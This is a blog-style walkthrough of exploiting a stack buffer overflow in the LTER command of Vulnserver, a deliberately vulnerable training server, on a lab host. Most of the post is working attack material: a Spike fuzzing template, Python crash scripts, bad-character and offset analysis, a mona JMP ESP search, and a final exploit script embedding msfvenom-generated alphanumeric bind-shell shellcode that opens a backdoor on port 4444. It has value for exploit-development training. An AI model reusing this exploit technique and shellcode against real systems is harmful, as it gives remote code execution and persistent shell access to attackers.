Exploiting LTER in Vulnserver
Fresh from completing the HTER buffer overflow exploit its time to move on and attack the next component. Today we will be exploiting LTER in vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver.
Fuzzing LTER in VulnServer
The Spike template is:
s_string("LTER");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);
It’s time to start the fuzzing:
root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0
Straight away a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that EAX and ESP are over written by long ‘A’ strings.
Let’s confirm with Wireshark the exact payload was that caused the crash.
As can be seen from the picture the payload is “LTER /.:/ AAAAA” . All that remains is to reproduce the crash with a Python program.
#!/usr/bin/python
import socket
import os
import sys
crash = "LTER /.:/ "
payload = 'A' * 4
buffer = 'A' * 1000 + payload + 'A' * (2000 - len(payload))
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
Identify Bad Characters
The next step is to identify bad characters so that we know what characters we have to play with in our payload when exploiting LTER. Just like our previous exploit of HTER we embed every possible character into a payload, submit and analyse in Immunity Debugger.
#!/usr/bin/python
import socket
import os
import sys
crash = "LTER /.:/ "
payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = 'A' * 1000 + payload + 'A' * (2000 - len(payload))
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
Looking in Immunity we see an interesting result. The characters from \x01 to \x7F all look good. However characters from \x80 to \xFF are wrong. After 7F it goes back to 01 and the count starts again to 7F. As a general rule here it appears that our payload will need to be comprised of ASCII characters only when exploiting of LTER.
We now know that we have be careful that we will likely have to omit the bad characters from our payload. Alternatively we will have to encode them prior to sending our payload and then decode them in memory.
Determine Optimal Payload Length
The next step is to determine the optimal payload length. At the start of any buffer over flow payload I always quickly vary the payload length and observe the affect these varying lengths. In this case a payload of 5000 bytes results in a Structured Exception Handler (SEH) overwrite and a payload of 3000 bytes results in a standard EIP overwrite. If I had not performed this test then I may had ended up reducing my exploit options and potentially not getting remote code execution. Let’s continue this blog post with an EIP overwrite to exploit LTER.
Determine Payload Offset
The Rapid 7 Metasploit Framework is packaged with a nice tool called pattern_create. This tool will help identify which bytes are overwriting EIP.
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai .......
The 3000 byte generated pattern is then embedded in our Python code and send to the Vulnerable Server. In Immunity Debugger the EIP overwrite was observed to be 6F43376F. We need to use the pattern offset tool to determine the byte offset.
#/pentest/exploits/framework/tools/pattern_offset.rb 6F43376F
2003
Success! We now the know the offset is 2003 bytes.
Find a JMP ESP
The next step is find a usable JMP ESP or CALL ESP ….. somewhere! There is a DLL in use by the VulnServer. It’s time to take a look but we have to remember the bad character analysis that we performed. The four bytes need to have an “alpha numericky” address. Fingers Crossed!
In Immunity we use the mona plugin to identify the JMP or CALL operand in the essfunc DLL used by the application. This is achieved by using the command !mona jmp -r esp -cp ascii -m “essfunc.dll” and we get the following output:
Two memory values were returned that contain JMP ESP instructions and the bytes are all ACSII bytes. Let’s choose the first address returned by Mona #62501203. The python script is updated to include \x03\x12\x50\x62 (reversed as x86 is Little Endian) and a breakpoint is set at this address.
Our Python LTER exploit script now looks like:
#!/usr/bin/python
import socket
import os
import sys
crash = "LTER /.:/ "
# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -e x86/alpha_mixed -b #"\x00" BufferRegister=ESP -f c
#[*] x86/alpha_mixed succeeded with size 793 (iteration=1)
payload = (
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48\x50"
"\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41\x51\x51"
"\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58\x56\x6a\x30"
"\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30\x38\x39\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x49\x6c\x69\x78\x4e\x69\x55\x50\x55\x50\x43"
"\x30\x35\x30\x6f\x79\x39\x75\x55\x61\x5a\x72\x52\x44\x6c\x4b"
"\x32\x72\x44\x70\x6c\x4b\x30\x52\x74\x4c\x6c\x4b\x72\x72\x35"
"\x44\x6e\x6b\x61\x62\x51\x38\x66\x6f\x6e\x57\x53\x7a\x55\x76"
"\x45\x61\x4b\x4f\x74\x71\x4f\x30\x4c\x6c\x55\x6c\x33\x51\x63"
"\x4c\x65\x52\x66\x4c\x55\x70\x6f\x31\x7a\x6f\x66\x6d\x56\x61"
"\x58\x47\x58\x62\x38\x70\x30\x52\x33\x67\x6c\x4b\x50\x52\x42"
"\x30\x4e\x6b\x32\x62\x67\x4c\x43\x31\x48\x50\x4e\x6b\x67\x30"
"\x61\x68\x6d\x55\x6f\x30\x61\x64\x42\x6a\x43\x31\x6e\x30\x72"
"\x70\x6c\x4b\x33\x78\x67\x68\x4e\x6b\x50\x58\x37\x50\x63\x31"
"\x4b\x63\x58\x63\x37\x4c\x57\x39\x4c\x4b\x77\x44\x6c\x4b\x45"
"\x51\x69\x46\x55\x61\x59\x6f\x70\x31\x59\x50\x4e\x4c\x6a\x61"
"\x68\x4f\x34\x4d\x76\x61\x4f\x37\x45\x68\x59\x70\x54\x35\x6c"
"\x34\x43\x33\x73\x4d\x58\x78\x45\x6b\x31\x6d\x71\x34\x42\x55"
"\x79\x72\x70\x58\x6e\x6b\x76\x38\x75\x74\x73\x31\x69\x43\x73"
"\x56\x4e\x6b\x74\x4c\x62\x6b\x4e\x6b\x56\x38\x47\x6c\x46\x61"
"\x5a\x73\x4c\x4b\x75\x54\x4e\x6b\x56\x61\x68\x50\x6e\x69\x32"
"\x64\x64\x64\x61\x34\x71\x4b\x33\x6b\x63\x51\x66\x39\x51\x4a"
"\x63\x61\x4b\x4f\x6b\x50\x71\x48\x61\x4f\x30\x5a\x4e\x6b\x32"
"\x32\x7a\x4b\x4c\x46\x43\x6d\x30\x68\x55\x63\x35\x62\x37\x70"
"\x73\x30\x62\x48\x42\x57\x30\x73\x77\x42\x73\x6f\x70\x54\x30"
"\x68\x30\x4c\x52\x57\x45\x76\x73\x37\x4b\x4f\x58\x55\x4d\x68"
"\x5a\x30\x47\x71\x75\x50\x43\x30\x47\x59\x48\x44\x46\x34\x76"
"\x30\x65\x38\x47\x59\x6d\x50\x72\x4b\x53\x30\x69\x6f\x58\x55"
"\x36\x30\x62\x70\x50\x50\x52\x70\x73\x70\x70\x50\x51\x50\x36"
"\x30\x33\x58\x48\x6a\x36\x6f\x69\x4f\x6b\x50\x49\x6f\x38\x55"
"\x6c\x49\x38\x47\x50\x31\x39\x4b\x43\x63\x45\x38\x73\x32\x43"
"\x30\x64\x51\x33\x6c\x6e\x69\x39\x76\x62\x4a\x54\x50\x56\x36"
"\x63\x67\x55\x38\x6f\x32\x69\x4b\x56\x57\x45\x37\x79\x6f\x59"
"\x45\x46\x33\x33\x67\x32\x48\x4c\x77\x38\x69\x30\x38\x79\x6f"
"\x59\x6f\x4b\x65\x51\x43\x50\x53\x52\x77\x62\x48\x32\x54\x78"
"\x6c\x65\x6b\x68\x61\x59\x6f\x69\x45\x30\x57\x4f\x79\x59\x57"
"\x75\x38\x54\x35\x70\x6e\x42\x6d\x63\x51\x39\x6f\x4b\x65\x35"
"\x38\x30\x63\x70\x6d\x51\x74\x77\x70\x4e\x69\x7a\x43\x73\x67"
"\x42\x77\x32\x77\x46\x51\x6a\x56\x51\x7a\x75\x42\x63\x69\x72"
"\x76\x39\x72\x69\x6d\x52\x46\x39\x57\x43\x74\x71\x34\x65\x6c"
"\x33\x31\x55\x51\x6c\x4d\x61\x54\x54\x64\x72\x30\x39\x56\x53"
"\x30\x30\x44\x63\x64\x70\x50\x33\x66\x50\x56\x73\x66\x52\x66"
"\x72\x76\x32\x6e\x72\x76\x76\x36\x61\x43\x66\x36\x33\x58\x43"
"\x49\x68\x4c\x37\x4f\x6d\x56\x39\x6f\x79\x45\x4b\x39\x39\x70"
"\x70\x4e\x30\x56\x32\x66\x79\x6f\x34\x70\x51\x78\x45\x58\x4c"
"\x47\x37\x6d\x31\x70\x6b\x4f\x6e\x35\x4d\x6b\x49\x70\x55\x4d"
"\x35\x7a\x67\x7a\x63\x58\x4e\x46\x4e\x75\x6d\x6d\x6f\x6d\x49"
"\x6f\x5a\x75\x35\x6c\x75\x56\x43\x4c\x37\x7a\x4d\x50\x39\x6b"
"\x79\x70\x63\x45\x77\x75\x6f\x4b\x30\x47\x37\x63\x30\x72\x30"
"\x6f\x50\x6a\x57\x70\x71\x43\x39\x6f\x6e\x35\x41\x41")
buffer = '\x41' * 2003 + '\x03\x12\x50\x62' + payload + '\x41' * 201
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
The payload was executed and the the bind shell was observed listening on port 4444.
All that is left is to connect to the bind shell and verify that our back door has successfully been launched.
We have successfully exploited LTER.